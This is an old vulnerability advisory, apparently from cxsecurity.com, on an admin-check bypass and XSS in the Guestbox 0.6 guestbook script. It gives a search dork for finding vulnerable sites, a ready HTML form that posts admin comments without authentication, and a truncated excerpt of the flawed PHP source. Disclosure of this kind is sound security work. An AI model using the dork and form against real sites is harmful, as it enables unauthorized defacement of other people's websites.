Bug: Guestbox XSS/an admin bypass (WLB-2006020064 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: Guestbox XSS/an admin bypass
 Credit: l0om
 Date: 2006.02.22
 CWE: CWE-79 (Show similar)
 CVE: CVE-2006-0861 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
Low
No
Yes

author.: l0om - www.excluded.org
product: guestbox (latest non-BETA) 0.6
page: http://spring.realone.ch
dork: "Login - Guestbox 0.6" inurl:guestbox.php

someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.

1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.

simply create the following html document and post comments as admin:

<html>
<body>
<center>
<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY
_NUMBER">
<textarea class="auswahl" name="text" cols="30"
rows="3"></textarea><br>
<input type="submit" name="submit" value="comment">
</form>
</center>
</body>
</html>

---8<--- source:action.php ---8<---

[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
switch ($_GET['action'])
{
case "comment" :

if (isset($_POST['submit'])) {

//
// admin check????
//
edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(

[ ASCII VERSION ]

Copyright 2012, cxsecurity.com